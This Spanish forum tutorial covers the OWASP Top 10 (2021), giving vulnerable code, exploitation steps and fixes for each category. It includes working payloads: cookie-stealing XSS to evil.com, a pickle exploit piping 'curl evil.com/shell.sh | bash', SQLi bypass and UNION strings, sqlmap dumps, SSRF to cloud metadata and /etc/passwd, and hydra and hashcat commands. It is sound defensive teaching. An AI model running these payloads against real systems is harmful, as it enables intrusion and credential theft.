OWASP Top 10: las 10 fallas de seguridad web, como explotarlas y como blindarlas

Iniciado por ANTRAX, Septiembre 13, 2026, 07:21:06 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 13, 2026, 07:21:06 PM Ultima modificación: Septiembre 13, 2026, 07:24:55 PM por ANTRAX Razón: Correccion de formato BBCode

OWASP Top 10: las 10 fallas de seguridad web, cómo explotarlas y cómo blindarlas

Buenas gente de Underc0de. Este es de los posts que más venía queriendo armar para esta sección. El OWASP Top 10 es la referencia de facto cuando hablamos de seguridad en aplicaciones web, y sin embargo la mayoría lo conoce de nombre nada más. La idea acá es recorrerlo entero, categoría por categoría, con las cuatro cosas que importan de verdad en cada una: qué es, por qué pasa, cómo se explota (con payloads y código) y cómo se soluciona.

Aviso obligatorio: todo lo que sigue es material educativo y defensivo. Los ejemplos de explotación son para que entiendas la mecánica y sepas cómo defenderte, o para usarlos en tus propios laboratorios y en pentesting autorizado. Meter esto en un sistema que no es tuyo y sin permiso escrito es delito. Montá un DVWA, un Juice Shop o un WebGoat y practicá ahí. Avisado queda.



¿Qué es OWASP y qué es el Top 10?

OWASP (Open Worldwide Application Security Project) es una fundación sin fines de lucro que produce documentación, herramientas y estándares de seguridad, todo abierto y gratuito. Herramientas como ZAP, el ASVS (estándar de verificación) o las Cheat Sheets salen de ahí.

El Top 10 es su documento estrella: una lista de las diez categorías de riesgo más críticas en aplicaciones web, actualizada cada tres o cuatro años a partir de datos reales aportados por cientos de organizaciones. Este post cubre la edición 2021, que es la ratificada y vigente como referencia estable. OWASP revisa la lista periódicamente, así que el orden puede moverse en futuras ediciones, pero las clases de vulnerabilidad son las mismas de siempre.

Un punto clave que mucha gente no entiende: el Top 10 son categorías de riesgo, no vulnerabilidades puntuales. "Inyección" no es un bug, es una familia entera que incluye SQLi, inyección de comandos, LDAP, XSS y más. Cada categoría agrupa decenas de CWEs (Common Weakness Enumeration).

Este es el listado 2021:

#CategoríaEn criollo
A01Broken Access ControlAccedo a lo que no debería
A02Cryptographic FailuresDatos sensibles mal protegidos
A03InjectionMeto código donde va data
A04Insecure DesignEl diseño ya nace inseguro
A05Security MisconfigurationMal configurado
A06Vulnerable and Outdated ComponentsDependencias viejas y con CVEs
A07Identification and Authentication FailuresLogin roto
A08Software and Data Integrity FailuresConfío en lo que no debería
A09Security Logging and Monitoring FailuresNo veo que me están atacando
A10Server-Side Request Forgery (SSRF)El server pide por mí

Vamos una por una.



A01 — Broken Access Control

Subió al primer puesto en 2021, y con razón: es la falla más extendida. El control de acceso es el mecanismo que decide quién puede hacer qué. Cuando está roto, un usuario puede actuar fuera de los permisos que le corresponden: leer datos de otros, modificar recursos ajenos, escalar a administrador.

Los dos sabores más comunes:

  • IDOR (Insecure Direct Object Reference): el sistema expone un identificador directo (un ID en la URL) y no verifica que el recurso pertenezca al usuario que lo pide.
  • Escalada de privilegios: un usuario común accede a funciones de admin porque el control está solo en el frontend o directamente no está.

Ejemplo vulnerable. Un endpoint que devuelve una factura:

Código: php
<?php
// GET /factura.php?id=1043
$id = $_GET['id'];

$stmt = $pdo->prepare("SELECT * FROM facturas WHERE id = ?");
$stmt->execute([$id]);
$factura = $stmt->fetch();

// Se muestra la factura... de cualquiera.
echo json_encode($factura);
?>

Fijate que la query está parametrizada, así que no hay SQLi. El problema es otro: nunca se verifica que la factura 1043 sea del usuario logueado.

Cómo se explota. Es tan simple como cambiar el número:

Código: bash
# Soy el usuario que ve su factura 1043
curl -b "session=..." "https://tienda.com/factura.php?id=1043"

# Cambio el ID y leo la del vecino
curl -b "session=..." "https://tienda.com/factura.php?id=1044"
curl -b "session=..." "https://tienda.com/factura.php?id=1045"

# Un bucle y me llevo TODAS las facturas del sistema
for i in $(seq 1 9999); do
  curl -s -b "session=..." "https://tienda.com/factura.php?id=$i" >> dump.json
done

Otra variante clásica es el control de acceso que vive solo en el menú del frontend: el botón "Panel Admin" no aparece para usuarios normales, pero la ruta /admin/borrar-usuario responde igual si la pedís a mano.

Cómo se soluciona. La regla de oro: verificar la autorización en el servidor, en cada request, contra el dueño real del recurso.

Código: php
<?php
$id = $_GET['id'];

// La query filtra TAMBIEN por el usuario de la sesion.
$stmt = $pdo->prepare(
    "SELECT * FROM facturas WHERE id = ? AND usuario_id = ?"
);
$stmt->execute([$id, $_SESSION['usuario_id']]);
$factura = $stmt->fetch();

if (!$factura) {
    http_response_code(404); // 404, no 403: no revelamos que existe
    exit(json_encode(["error" => "No encontrado"]));
}
echo json_encode($factura);
?>

Buenas prácticas concretas:

  • Denegar por defecto. Todo lo que no está explícitamente permitido, se rechaza.
  • Centralizar el control de acceso en un middleware, no repartirlo por cada controlador.
  • Usar identificadores no predecibles (UUID en vez de enteros autoincrementales) como defensa en profundidad, aunque nunca como único control.
  • Verificar ownership en el backend siempre, jamás confiar en que el frontend "no muestra" algo.
  • Loguear los fallos de control de acceso y alertar ante patrones de fuerza bruta sobre IDs.



A02 — Cryptographic Failures

Antes se llamaba "Sensitive Data Exposure". El nombre cambió porque la exposición de datos suele ser el síntoma; la causa raíz es un fallo criptográfico: datos que viajan o se guardan sin cifrar, con algoritmos débiles, o con las claves mal manejadas.

Casos típicos:

  • Tráfico sin TLS, o con TLS mal configurado (protocolos viejos, sin HSTS).
  • Contraseñas guardadas en texto plano, o con hashes rápidos y sin salt (MD5, SHA1 pelado).
  • Datos sensibles (tarjetas, documentos, tokens) en la base sin cifrar.
  • Claves de cifrado hardcodeadas en el código o en el repo.

Cuando el canal no está cifrado, un atacante en el medio (Man-in-the-Middle) lee y modifica todo lo que pasa:


Ejemplo vulnerable. El pecado más común: guardar contraseñas con MD5.

Código: php
<?php
// Registro de usuario - MAL
$password = $_POST['password'];
$hash = md5($password);   // roto: rapido y sin salt

$stmt = $pdo->prepare("INSERT INTO usuarios (email, pass) VALUES (?, ?)");
$stmt->execute([$_POST['email'], $hash]);
?>

Cómo se explota. Si un atacante consigue un dump de la base (por un SQLi, un backup expuesto, lo que sea), los hashes MD5 se rompen en segundos. No hay que "descifrar" nada: se comparan contra tablas precalculadas (rainbow tables) o se hace fuerza bruta a millones de hashes por segundo con hashcat:

Código: bash
# Un GPU medianamente decente prueba miles de millones de MD5/s
hashcat -m 0 -a 0 hashes_md5.txt rockyou.txt

# Para SHA1 sin salt, mismo cuento
hashcat -m 100 -a 0 hashes_sha1.txt rockyou.txt

# Sin GPU, hasta un sitio web te resuelve un MD5 comun al instante

Como MD5 no tiene salt, dos usuarios con la misma contraseña tienen el mismo hash: se ve a simple vista quién usa "123456".

Cómo se soluciona. Para contraseñas se usan funciones de hashing lentas y con salt automático: bcrypt, scrypt o Argon2 (el recomendado hoy).

Código: php
<?php
// Registro - BIEN
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID);

$stmt = $pdo->prepare("INSERT INTO usuarios (email, pass) VALUES (?, ?)");
$stmt->execute([$_POST['email'], $hash]);

// Login - verificacion
$stmt = $pdo->prepare("SELECT pass FROM usuarios WHERE email = ?");
$stmt->execute([$_POST['email']]);
$fila = $stmt->fetch();

if ($fila && password_verify($_POST['password'], $fila['pass'])) {
    // OK. Y de paso, re-hasheamos si el algoritmo quedo viejo:
    if (password_needs_rehash($fila['pass'], PASSWORD_ARGON2ID)) {
        // ... actualizar hash en la base
    }
}
?>

Checklist criptográfico:

  • TLS en todo, siempre. HTTP redirige a HTTPS y se activa HSTS.
  • Contraseñas con Argon2id o bcrypt. Nunca MD5, SHA1 ni SHA256 pelado.
  • Datos sensibles cifrados en reposo con AES-256-GCM.
  • Claves fuera del código: variables de entorno o un gestor de secretos (Vault, KMS).
  • Nada de algoritmos propios. La cripto casera siempre pierde.
  • Números aleatorios con generadores criptográficos (random_bytes, no rand()).



A03 — Injection

La categoría más famosa y la que más miedo daba históricamente (fue #1 durante años). Ocurre cuando datos no confiables del usuario se mezclan con un comando o consulta y el intérprete termina ejecutando parte de esos datos como si fueran código. Incluye SQLi, inyección de comandos del SO, LDAP, NoSQL y también XSS (que en 2021 quedó dentro de esta categoría).


SQL Injection

Ejemplo vulnerable. El pecado original: concatenar input directo en la query.

Código: php
<?php
// Login - MAL. Concatenacion directa.
$user = $_POST['user'];
$pass = $_POST['pass'];

$sql = "SELECT * FROM usuarios 
        WHERE user = '$user' AND pass = '$pass'";
$resultado = $mysqli->query($sql);

if ($resultado->num_rows > 0) {
    // Autenticado
}
?>

Cómo se explota. El clásico bypass de autenticación. Si en el campo usuario mando:

Código: sql
admin' -- 

La query se convierte en:

Código: sql
SELECT * FROM usuarios WHERE user = 'admin' -- ' AND pass = '...'

El -- comenta el resto: entra como admin sin saber la contraseña. Otra variante para cuando no conocés usuarios:

Código: sql
' OR '1'='1

Y de ahí se escala a extracción de datos con UNION:

Código: sql
' UNION SELECT username, password, 3 FROM usuarios -- 

O a inyección ciega (blind) cuando no ves el resultado, deduciendo bit por bit con respuestas booleanas o con tiempos:

Código: sql
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) -- 

En la práctica nadie hace esto a mano: sqlmap automatiza todo el proceso.

Código: bash
# sqlmap detecta y explota automaticamente
sqlmap -u "https://sitio.com/producto?id=5" --dbs
sqlmap -u "https://sitio.com/producto?id=5" -D tienda --tables
sqlmap -u "https://sitio.com/producto?id=5" -D tienda -T usuarios --dump

Cómo se soluciona. Consultas parametrizadas (prepared statements) siempre. El input nunca se concatena; viaja como parámetro, separado del código SQL.

Código: php
<?php
// Login - BIEN. Prepared statement.
$stmt = $pdo->prepare(
    "SELECT * FROM usuarios WHERE user = ? AND pass_hash = ?"
);
$stmt->execute([$_POST['user'], hash_login($_POST['pass'])]);
$usuario = $stmt->fetch();
?>

Con esto, mandar admin' -- busca literalmente un usuario llamado admin' --, que no existe. El motor trata el input como dato, punto.

Cross-Site Scripting (XSS)

XSS es inyección, pero del lado del navegador: el atacante logra que la aplicación devuelva JavaScript que se ejecuta en el navegador de la víctima.


Hay tres tipos: reflejado (el payload viaja en la request y vuelve en la respuesta), almacenado (el payload queda guardado en la base y golpea a todo el que lo ve — el más peligroso) y DOM-based (todo ocurre en el JS del cliente).

Ejemplo vulnerable. Un buscador que refleja el término sin escapar:

Código: php
<?php
// resultados.php?q=...
echo "<h2>Resultados para: " . $_GET['q'] . "</h2>";
?>

Cómo se explota. En vez de un término de búsqueda, mando script:

Código: html
<script>document.location='https://evil.com/rob?c='+document.cookie</script>

Con eso robo la cookie de sesión de quien abra el link. En un XSS almacenado (por ejemplo un comentario), el payload golpea a todos los visitantes sin necesidad de engañar a nadie con un link. Payloads típicos de prueba:

Código: html
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Cómo se soluciona. Escapar la salida según el contexto y aplicar una Content Security Policy.

Código: php
<?php
// BIEN: escapamos para contexto HTML
echo "<h2>Resultados para: " 
   . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') 
   . "</h2>";
?>

Y una CSP que corte la ejecución de scripts inline como red de contención:

Código: http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

Inyección de comandos

Cuando la app pasa input a una shell del sistema:

Código: php
<?php
// MAL: input directo a la shell
$host = $_GET['host'];
system("ping -c 4 " . $host);
?>

Payload: 8.8.8.8; cat /etc/passwd → ejecuta el ping y además lee el archivo. La solución es no invocar la shell con input del usuario: usar APIs que reciban argumentos como array (escapeshellarg como mínimo, o mejor una librería nativa que no pase por la shell).

Regla general de toda la categoría A03: separar código de datos. Prepared statements para SQL, escape contextual para HTML, APIs seguras para comandos, y validación de input como capa extra (nunca como única defensa).



A04 — Insecure Design

Categoría nueva en 2021, y conceptualmente distinta al resto. Las demás hablan de implementación (un bug en el código). Esta habla de diseño: fallas que existen porque el sistema fue pensado mal desde el arranque, antes de escribir una línea. No las arreglás con un parche; hay que rediseñar.

La diferencia clave: una implementación insegura tiene un código correcto mal escrito. Un diseño inseguro puede estar perfectamente codificado y aún así ser inseguro, porque le falta un control que nunca se pensó.

Ejemplos:

  • Un "¿olvidaste tu contraseña?" que valida con preguntas de seguridad cuya respuesta es pública (nombre de la mascota, escuela). No importa cuán bien lo codifiques: el mecanismo en sí es débil.
  • Un flujo de compra sin límites de cantidad ni control de stock que permite reservar 10.000 unidades y colgar el inventario (lógica de negocio explotable).
  • Un sistema de transferencias sin límite de intentos ni de monto diario.

Ejemplo de lógica de negocio rota. Un cupón de descuento que no se marca como usado:

Código: python
# MAL: el cupon se valida pero nunca se invalida
def aplicar_cupon(carrito, codigo):
    cupon = db.cupones.find_one({"codigo": codigo})
    if cupon and cupon["activo"]:
        carrito.total *= (1 - cupon["descuento"])
    return carrito
    # el mismo cupon del 50% se puede aplicar infinitas veces

Cómo se explota. No hace falta ninguna herramienta: aplicás el mismo cupón del 50% diez veces seguidas y el total tiende a cero. O en el caso de la reserva sin límite, automatizás pedidos para agotar el stock de un producto y sabotear al vendedor. Es explotación de la lógica, no de un bug técnico.

Cómo se soluciona. Esto se ataca en la etapa de diseño, no de parcheo:

  • Threat modeling antes de construir: sentarse a pensar "¿cómo se abusa de esto?" para cada flujo crítico. Los Three Amigos que mencioné en el post de BDD sirven también acá.
  • Definir y codificar las reglas de negocio como invariantes: un cupón se marca usado atómicamente al aplicarse; una transferencia valida límites en el backend.
  • Usar patrones de diseño seguros y bibliotecas de componentes ya endurecidos.
  • Escribir abuse cases (casos de abuso) junto a los casos de uso: por cada "el usuario puede X", pensar "el atacante puede abusar de X así".

Código: python
# BIEN: operacion atomica que invalida el cupon
def aplicar_cupon(carrito, codigo):
    # findOneAndUpdate atomico: solo triunfa si el cupon sigue activo
    cupon = db.cupones.find_one_and_update(
        {"codigo": codigo, "activo": True},
        {"$set": {"activo": False, "usado_por": carrito.usuario_id}}
    )
    if not cupon:
        raise ValueError("Cupon invalido o ya utilizado")
    carrito.total *= (1 - cupon["descuento"])
    return carrito



A05 — Security Misconfiguration

Una de las más frecuentes en la práctica, y de las más fáciles de evitar. No es un bug de código: es el sistema mal configurado. Configuraciones por defecto, servicios de más habilitados, permisos abiertos, mensajes de error que cuentan de más.

Ejemplos típicos:

  • Credenciales por defecto sin cambiar (admin/admin).
  • Paneles de administración expuestos a internet.
  • Directory listing habilitado, dejando ver toda la estructura de archivos.
  • Mensajes de error con stack traces completos, versiones y rutas del servidor.
  • Headers de seguridad ausentes.
  • Buckets S3 o carpetas de backup públicas.

Ejemplo vulnerable. Una app PHP en producción con los errores a la vista:

Código: php
<?php
// MAL en produccion
ini_set('display_errors', 1);
error_reporting(E_ALL);
// Un error ahora imprime: ruta absoluta, version de PHP,
// credenciales de la DB si estan en el stack trace, etc.
?>

Y un Apache con el listado de directorios abierto:

Código: apache
# MAL: expone todos los archivos del directorio
<Directory /var/www/html>
    Options Indexes FollowSymLinks
</Directory>

Cómo se explota. El atacante recorre rutas conocidas buscando lo que quedó expuesto:

Código: bash
# Buscar paneles, backups y config expuestos
curl https://sitio.com/.git/config          # repo git expuesto
curl https://sitio.com/backup.sql           # dump de la base
curl https://sitio.com/.env                 # variables con secretos
curl https://sitio.com/phpinfo.php          # info completa del server
curl https://sitio.com/admin/               # panel sin proteger

# Herramientas que automatizan el barrido
nikto -h https://sitio.com
gobuster dir -u https://sitio.com -w wordlist.txt

Un .git expuesto o un .env con la connection string es game over instantáneo.

Cómo se soluciona.

  • Endurecer (hardening) cada entorno: quitar servicios, módulos y cuentas que no se usan.
  • Errores genéricos al usuario, detalle solo en logs internos (display_errors = Off en producción).
  • Cambiar todas las credenciales por defecto.
  • Desactivar el directory listing.
  • Configurar los headers de seguridad.
  • Bloquear el acceso a archivos sensibles (.git, .env, backups).
  • Proceso repetible y automatizado (IaC), no configuración a mano servidor por servidor.

Config correcta de Nginx con headers y bloqueos:

Código: nginx
server {
    server_tokens off;                    # oculta la version de nginx

    # Headers de seguridad
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Strict-Transport-Security "max-age=63072000" always;
    add_header Content-Security-Policy "default-src 'self'" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Bloquear archivos sensibles
    location ~ /\.(git|env|htaccess) { deny all; return 404; }
    location ~ \.(sql|bak|backup)$    { deny all; return 404; }

    autoindex off;                        # sin listado de directorios
}



A06 — Vulnerable and Outdated Components

Tu código puede ser impecable, pero si usás una librería con un CVE conocido, sos vulnerable igual. Hoy una app típica es 80% dependencias de terceros: frameworks, librerías, plugins. Cada una es superficie de ataque.

Los casos históricos hablan solos: el hackeo a Equifax (147 millones de personas) fue un Apache Struts sin parchear. Log4Shell (Log4j) puso en jaque a medio internet en 2021.

Por qué pasa:

  • No se sabe qué versiones se están usando (ni directas ni transitivas).
  • El software es viejo o ya no tiene soporte.
  • No se testea la compatibilidad al actualizar, así que nadie actualiza "por las dudas".

Cómo se explota. El atacante primero identifica versiones (por headers, rutas, archivos JS, mensajes), las cruza contra bases de CVEs y busca el exploit público, que muchas veces ya está listo en Metasploit o en Exploit-DB:

Código: bash
# Detectar tecnologias y versiones
whatweb https://sitio.com
nmap -sV --script=vuln sitio.com

# Escanear dependencias de un proyecto
npm audit
retire --path ./           # librerias JS con CVEs conocidos

# Buscar el exploit correspondiente
searchsploit apache 2.4.49

Con la versión y el CVE en mano, en muchos casos es correr un módulo y listo. No hace falta ni entender la vulnerabilidad.

Cómo se soluciona.

  • Mantener un inventario de todas las dependencias y sus versiones (SBOM).
  • Escanear automáticamente en el pipeline con herramientas SCA: npm audit, OWASP Dependency-Check, Snyk, Dependabot.
  • Actualizar con regularidad, no solo cuando explota algo.
  • Quitar dependencias, features y archivos que no se usan: menos superficie.
  • Traer componentes solo de fuentes oficiales y con integridad verificada.

Un gate en CI que frena el build si hay vulnerabilidades altas:

Código: yaml
# .github/workflows/security.yml
name: dependency-check
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Auditar dependencias
        run: npm audit --audit-level=high
        # falla el build si hay vulnerabilidades de nivel high o critical



A07 — Identification and Authentication Failures

Todo lo que tiene que ver con confirmar que sos quien decís ser. Cuando el login, la gestión de sesiones o la recuperación de cuenta están mal hechos, un atacante se hace pasar por otro.

Casos:

  • Permitir contraseñas débiles o filtradas (123456, password).
  • No frenar la fuerza bruta ni el credential stuffing.
  • Sesiones con tokens predecibles, que no expiran o que no se rotan tras el login.
  • Exponer el ID de sesión en la URL.
  • Recuperación de contraseña insegura.

Cómo se explota. El credential stuffing es hoy el ataque más rentable: se agarran millones de combinaciones usuario/clave filtradas de otras brechas y se prueban en masa, porque la gente reusa contraseñas.

Código: bash
# Fuerza bruta / stuffing con Hydra
hydra -L usuarios.txt -P passwords.txt sitio.com \
      http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Si la sesion no expira, una cookie robada sirve para siempre

Si además el token de sesión es un entero incremental o un MD5 del user ID, se predice y se secuestra la sesión de otro.

Cómo se soluciona.

  • MFA (autenticación multifactor): la defensa más efectiva contra stuffing y fuerza bruta.
  • Verificar contraseñas contra listas de las filtradas (Have I Been Pwned) y exigir longitud, no complejidad absurda.
  • Rate limiting y bloqueo temporal tras N intentos fallidos.
  • Tokens de sesión largos, aleatorios y generados con CSPRNG; rotarlos al loguear; expirarlos por inactividad.
  • Cookies con HttpOnly, Secure y SameSite.
  • No revelar en el error si falló el usuario o la contraseña.

Código: python
# Login con las buenas practicas
from argon2 import PasswordHasher
import secrets

ph = PasswordHasher()

def login(email, password, ip):
    if intentos_recientes(ip) > 5:
        raise Bloqueado("Demasiados intentos, espera unos minutos")

    user = db.usuarios.find_one({"email": email})
    # Mensaje identico exista o no el usuario (evita enumeracion)
    if not user or not verificar(ph, user["hash"], password):
        registrar_intento_fallido(ip)
        raise AuthError("Credenciales invalidas")

    # Token de sesion aleatorio y fuerte
    token = secrets.token_urlsafe(32)
    guardar_sesion(token, user["id"], expira_en=1800)
    return token



A08 — Software and Data Integrity Failures

Categoría nueva en 2021. Se trata de confiar en código o datos sin verificar su integridad: actualizaciones sin firmar, dependencias de fuentes no confiables, pipelines de CI/CD comprometidos, o deserialización de datos manipulados.

Acá entran los ataques a la cadena de suministro (supply chain), que son de los más temidos hoy: SolarWinds, el caso del paquete event-stream de npm, dependencias con typosquatting.

Deserialización insegura, el subtipo más explotado a nivel código. Si la app deserializa datos que vienen del usuario, un objeto malicioso puede terminar ejecutando código.

Ejemplo vulnerable en Python con pickle:

Código: python
# MAL: deserializar datos del usuario con pickle
import pickle, base64

def cargar_preferencias(cookie):
    datos = base64.b64decode(cookie)
    return pickle.loads(datos)   # ejecuta lo que venga

Cómo se explota. pickle puede reconstruir objetos arbitrarios, incluyendo uno que ejecuta un comando al deserializarse:

Código: python
# El atacante genera una cookie maliciosa
import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl evil.com/shell.sh | bash",))

payload = base64.b64encode(pickle.dumps(Exploit()))
# Manda esa cookie -> el server ejecuta el comando al hacer pickle.loads

Con eso, el atacante tiene ejecución remota de código (RCE) en el servidor. Lo mismo aplica a la deserialización nativa de Java, a unserialize() en PHP con gadget chains, etc.

Cómo se soluciona.

  • Nunca deserializar datos no confiables con formatos que reconstruyen objetos (pickle, serialize de PHP, ObjectInputStream de Java). Usar formatos de solo datos como JSON.
  • Firmar digitalmente y verificar la integridad de actualizaciones y artefactos.
  • Verificar dependencias con checksums y lockfiles (package-lock.json, poetry.lock).
  • Endurecer el pipeline de CI/CD: nadie mergea sin revisión, secretos protegidos, ejecutores aislados.
  • Subresource Integrity (SRI) para scripts de CDNs.

Código: python
# BIEN: JSON, que solo transporta datos, nunca objetos ejecutables
import json

def cargar_preferencias(cookie_json):
    datos = json.loads(cookie_json)  # no puede instanciar clases
    # ademas validamos el esquema antes de usarlo
    return validar_preferencias(datos)

Y el SRI para un script externo:

Código: html
<script src="https://cdn.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>



A09 — Security Logging and Monitoring Failures

La categoría que nadie quiere y todos necesitan. No es una vulnerabilidad que se "explote" directamente: es la ceguera que permite que todos los demás ataques pasen desapercibidos. Si no registrás ni monitoreás, un atacante puede estar meses adentro sin que lo notes. El tiempo promedio de detección de una brecha se mide en cientos de días, y esta es la razón.

Fallas típicas:

  • Eventos importantes (logins, fallos de acceso, transacciones) que no se loguean.
  • Logs sin suficiente contexto (falta IP, usuario, timestamp).
  • Logs que solo viven local y se pueden borrar tras un compromiso.
  • Sin alertas: los logs existen pero nadie los mira.
  • Y el otro extremo: loguear datos sensibles (contraseñas, tarjetas) en texto plano, creando un nuevo problema.

Ejemplo de logging correcto. Registrar los eventos de seguridad con contexto y sin filtrar datos sensibles:

Código: python
import logging

seg = logging.getLogger("seguridad")

def login(email, password, ip):
    user = autenticar(email, password)
    if not user:
        # Se loguea el intento, NUNCA la password
        seg.warning(
            "login_fallido email=%s ip=%s ua=%s",
            email, ip, request.headers.get("User-Agent")
        )
        raise AuthError("Credenciales invalidas")

    seg.info("login_ok user_id=%s ip=%s", user.id, ip)
    return crear_sesion(user)

Qué monitorear y alertar:

  • Múltiples logins fallidos desde una IP (fuerza bruta).
  • Fallos de control de acceso repetidos (alguien probando IDOR).
  • Picos de errores 500 (posible explotación en curso).
  • Cambios en cuentas privilegiadas.

Cómo se soluciona.

  • Loguear todos los eventos de autenticación, control de acceso y validación del lado servidor, con contexto suficiente.
  • Centralizar los logs en un sistema aparte (SIEM, ELK, Graylog) que el atacante no pueda tocar aunque comprometa el server.
  • Formato estructurado (JSON) para poder consultarlos y correlacionarlos.
  • Alertas automáticas ante patrones sospechosos, no revisión manual.
  • Nunca loguear secretos: contraseñas, tokens, tarjetas, PII.
  • Definir retención y un plan de respuesta a incidentes.



A10 — Server-Side Request Forgery (SSRF)

La única categoría de 2021 que entró directamente por votación de la comunidad. Ocurre cuando la aplicación toma una URL provista por el usuario y hace una petición a ella desde el servidor. El atacante abusa de eso para que el servidor pida recursos internos a los que él no llega directo.

El peligro real: el servidor suele estar en una red interna y muchos servicios internos confían en las peticiones que vienen de "adentro". En entornos cloud, esto es especialmente grave por los endpoints de metadatos.

Ejemplo vulnerable. Una función que trae una imagen desde una URL que da el usuario:

Código: python
# MAL: pide cualquier URL que mande el usuario
import requests

def obtener_imagen(url):
    r = requests.get(url)   # sin validar el destino
    return r.content

# GET /preview?url=https://ejemplo.com/foto.png

Cómo se explota. En vez de una imagen, el atacante apunta a recursos internos. En AWS, el endpoint de metadatos entrega credenciales temporales del rol de la instancia:

Código: bash
# Apuntar al servicio de metadatos de la nube (AWS)
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Escanear servicios internos que desde afuera no se ven
GET /preview?url=http://localhost:6379/           # Redis interno
GET /preview?url=http://192.168.1.10:8080/admin   # panel interno

# Leer archivos locales via esquema file://
GET /preview?url=file:///etc/passwd

Si consigue las credenciales de metadatos, el atacante puede pivotar a toda la cuenta cloud. SSRF fue justamente el vector de la brecha de Capital One (100 millones de personas).

Cómo se soluciona. Validar el destino con lista blanca, nunca lista negra (las blacklists se evaden con encoding, redirects, IPs alternativas):

Código: python
# BIEN: lista blanca de dominios y validacion de IP
import requests, socket, ipaddress
from urllib.parse import urlparse

DOMINIOS_OK = {"cdn.miapp.com", "imagenes.miapp.com"}

def obtener_imagen(url):
    p = urlparse(url)
    if p.scheme not in ("http", "https"):
        raise ValueError("Esquema no permitido")
    if p.hostname not in DOMINIOS_OK:
        raise ValueError("Dominio no permitido")

    # Verificar que la IP no sea interna/privada
    ip = ipaddress.ip_address(socket.gethostbyname(p.hostname))
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError("Destino interno bloqueado")

    return requests.get(url, timeout=5, allow_redirects=False).content

Medidas complementarias:

  • Segmentar la red para que el servidor de aplicación no llegue a servicios que no necesita.
  • En cloud, forzar IMDSv2 (que mitiga el robo de metadatos por SSRF) y limitar los permisos del rol de la instancia.
  • Deshabilitar esquemas peligrosos (file://, gopher://, dict://).
  • No devolver la respuesta cruda al usuario (evita el SSRF "a ciegas" que igual filtra info).



Más allá del Top 10: defensa en profundidad

El Top 10 es un piso, no un techo. Dos cierres importantes.

Primero: las capas de defensa se complementan. Un WAF no reemplaza a los prepared statements, pero suma. Rate limiting, WAF, segmentación de red y monitoreo forman capas que hacen que un fallo puntual no sea catastrófico. Y hay amenazas de infraestructura, como los ataques de denegación de servicio distribuida (DDoS), que ni siquiera están en el Top 10 pero pueden tumbarte igual:


Segundo, y es lo más importante que me llevo de todo esto: la seguridad no es una feature que se agrega al final, es una propiedad que se diseña desde el principio. La mitad del Top 10 (A01, A04, A05, A08) son problemas de arquitectura y proceso, no de "poner un filtro". Conecta directo con lo que venía diciendo en los posts de QA: la calidad —y la seguridad es una dimensión de la calidad— se construye, no se inspecciona al final.

Herramientas para practicar (legalmente):

  • DVWA (Damn Vulnerable Web Application) — el clásico para empezar.
  • OWASP Juice Shop — moderno, en JS, con retos gamificados.
  • WebGoat — el laboratorio oficial de OWASP.
  • PortSwigger Web Security Academy — gratis, excelente, con labs por cada vulnerabilidad.
  • Plataformas tipo HackTheBox, TryHackMe o VulnHub para entornos completos.

Y para auditar tus propias apps: OWASP ZAP, Burp Suite, nikto, sqlmap, nuclei y las herramientas SCA que mencioné en A06.



Hasta acá el recorrido. Quedó largo pero la idea era que sirva de referencia para volver a consultarlo. Abro el debate:

  • ¿Cuál de las diez se encuentran más seguido en auditorías reales? En mi experiencia A01 y A05 se llevan el premio.
  • ¿Usan alguna herramienta de SAST/DAST en el pipeline? ¿Cuál les dio mejor resultado?
  • ¿Alguna anécdota de un pentest donde una de estas fue la puerta de entrada?

Si al post le falta algo o quieren que profundice en alguna categoría en particular (SQLi avanzado, XSS con bypass de WAF, explotación de deserialización), díganlo y armo algo dedicado.



Créditos de las imágenes: Wikimedia Commons — You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (licencias CC / dominio público). Referencia: OWASP Top 10:2021, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Saludos,
ANTRAX